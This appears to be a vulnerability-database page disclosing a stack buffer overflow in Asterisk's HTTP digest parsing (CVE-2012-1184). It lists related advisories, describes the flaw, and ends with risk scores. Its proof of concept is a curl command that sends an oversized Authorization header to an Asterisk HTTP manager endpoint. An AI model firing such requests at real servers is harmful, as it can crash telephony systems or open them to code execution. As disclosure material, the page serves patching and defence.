Asterisk - 'ast_parse_digest()' Stack Buffer Overflow (PoC)
| Reporter | Title | Published | Views | Family All 29 |
|---|---|---|---|---|
 | Asterisk ast_parse_digest Function HTTP Digest Authentication String Parsing Remote Overflow (AST-2012-003) | 22 Mar 201200:00 | – | nessus |
| Fedora 17 : asterisk-10.2.1-1.fc17 (2012-4230) | 12 Apr 201200:00 | – | nessus |
| Fedora 15 : asterisk-1.8.10.1-1.fc15 (2012-4259) | 2 Apr 201200:00 | – | nessus |
| Fedora 16 : asterisk-1.8.10.1-1.fc16 (2012-4318) | 2 Apr 201200:00 | – | nessus |
| Fedora 16 : asterisk-1.8.11.1-1.fc16 (2012-6612) | 4 May 201200:00 | – | nessus |
| Fedora 17 : asterisk-10.3.1-1.fc17 (2012-6704) | 7 May 201200:00 | – | nessus |
| GLSA-201203-21 : Asterisk: Multiple vulnerabilities | 21 Jun 201200:00 | – | nessus |
 | CVE-2012-1184 | 18 Sep 201218:00 | – | cve |
 | CVE-2012-1184 | 18 Sep 201218:00 | – | cvelist |
 | CVE-2012-1184 | 18 Sep 201218:00 | – | debiancve |
10
===========================
Description
===========================
There is a remotely exploitable stack buffer overflow in HTTP digest
authentication handling in Asterisk. This vulnerability includes the
possibility of code execution with plenty of stack space for inserting
custom code to run. I wrote an example exploit to verify that the
vulnerability and confirmed it against the latest code in the 1.8
branch.
The offending code is in main/utils.c, ast_parse_digest().
Note that the only user of ast_parse_digest appears to be HTTP AMI.
chan_sip has its own method to parse digests that does not appear to have this vulnerability.
===========================
POC
===========================
$ curl -v http://localhost:8080/amxml -H "Authorization: Digest
asdfaaaaaaaaaaaaaaaaaaaaaasdddddddddddddddddddddddddddddaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaasdfaaaaaaaaaaaaaaaaaaaaaasdddddddddddddddddddddddddddddaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
===========================
References
===========================
https://issues.asterisk.org/jira/browse/ASTERISK-19542Data
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10 May 2012 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 27.5
EPSS0.16391